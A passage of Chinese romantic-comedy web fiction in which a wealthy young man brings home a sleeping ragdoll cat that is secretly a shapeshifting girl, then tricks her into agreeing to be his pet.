宠物医院走了一遭，医生给小猫做了详细检查，确认体温正常，心跳正常，连呼吸的频率都是正常体征。诊断说只是睡着了，没有其他问题，等明天醒来再看有没有其他问题。温珩心中明显放下了一块大石头。 唯一可惜的是，医生也说不清楚到底是吃了什么才会导致小猫晕睡不醒。 温珩抱着小猫回到别墅。 管家迎了上来，意外地看到了他手中西装包着的小东西，“这是，猫还是狗？”灰色毛色大概是猫？但体型却像只小型犬。 无论是什么都好。管家知道自家少爷最不喜欢这些掉毛的小动物了，尽职地伸出手，“少爷，我来吧。” 温珩错身躲开，“不用。我自己来。“ “那我找个纸箱给它睡。” 温珩继续否了，“直接睡我隔壁那间房吧。你找一下看看家里有没有备用监控，一会上来房里将监控安上。” 他不可能守着小猫一整晚，但是有个监控，只要小猫移动就能自动发送信息。 岑管家应下，转道去了仓库。一步三回头，实在是好奇少爷怀里的那个小动物。露出来的一点毛发蓬松油亮，应该很可爱吧。 温珩将小猫放在床上，也不知道正常是趴着睡还是躺平睡，就这么放着，任凭小猫睡得四仰八叉。 真是可爱。他眼神完全挪不开，静静地凝视着，眼底满是宠溺。脑海中回想起医生的话： “其实猫很好养的。不过布偶猫肠胃比较脆弱，吃的时候要注意点。还比较粘人，如果你没时间陪伴，可以弄点宠物玩具给它。” 蓝双布偶猫，他记住了它的学名。还从宠物医院那拿了本养猫手册，打算今天晚上看完。 心底唯一的庆幸是，幸好只是睡着了。 * 翌日。睡了一个晚上，酒意彻底散去的苗小卉睁开眼，还没来得及伸展身体，陌生的环境、陌生的触感、陌生的味道，全然的陌生让她一个激灵彻底醒来，下意识地想变身，却变不回去。 哦，昨天她喝了海鲜汤，里面有她的过敏源，至少要满二十四小时她才能变回去。 “醒了？” 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既然你这么诚恳地邀请，那她就不客气了。 苗小卉起身，四肢轻巧落地，几个跳跃就到了沙发上，如同被暖融融的阳光晒化了一般，软软地窝在沙发上，身后蓬松的大尾巴随意地摆动着，十分惬意。 反正暂时也变不回人，这个人又一副友善模样，她也就心安理得地先过着，等时间到了再考虑离开的事情。 而温珩就这么站在一旁，一直观察它的言行举止，能够感觉到此时眼前的这只小猫是处于十分舒服自在的状态。 随手拉过来一张椅子，坐到沙发旁边，道：“那我们来聊聊吧。” 苗小卉听到这话，吓了一跳，睁开眼睛，同时放开嗅觉，全方位观察眼前这个男人。 ……不是同类啊。那怎么会知道她能说话？ 温珩却以为是自己的声音打扰了小猫的宁静，继续说：“你以前没有主人，对吧？” 苗小卉警惕地看着他。 温珩：“昨晚我已经跟你确认过一遍了。所以，以后我就是你的新主人了。” 苗小卉：？？？确认什么？ “如果你同意，就喵一声，不同意，就两声。”温珩继续说道，话语中给予了它自由选择的权利。 说完，静静的看着眼前的小猫，他要试探一下，它是不是真的能听懂他的话。 苗小卉没开口。 “沉默那就是同意……”温珩心中有些失望。 “喵喵喵喵喵喵喵（不不不不不同意）！”下一刻，她疯狂叫嚷的起来。 “七声，”温珩眼睛亮了一下，真能听懂。但他不动声色，只数了数，友善地说：“单数，那就是同意。” “喵喵！”这个人类是什么神逻辑！苗小卉憋屈极了，只能按照眼前人类的规矩来。 温珩失笑，“你果然听得懂我的话。” 苗小卉：？？？ 她收回刚刚的判断，眼前这个人类，不是好人，还特别狗。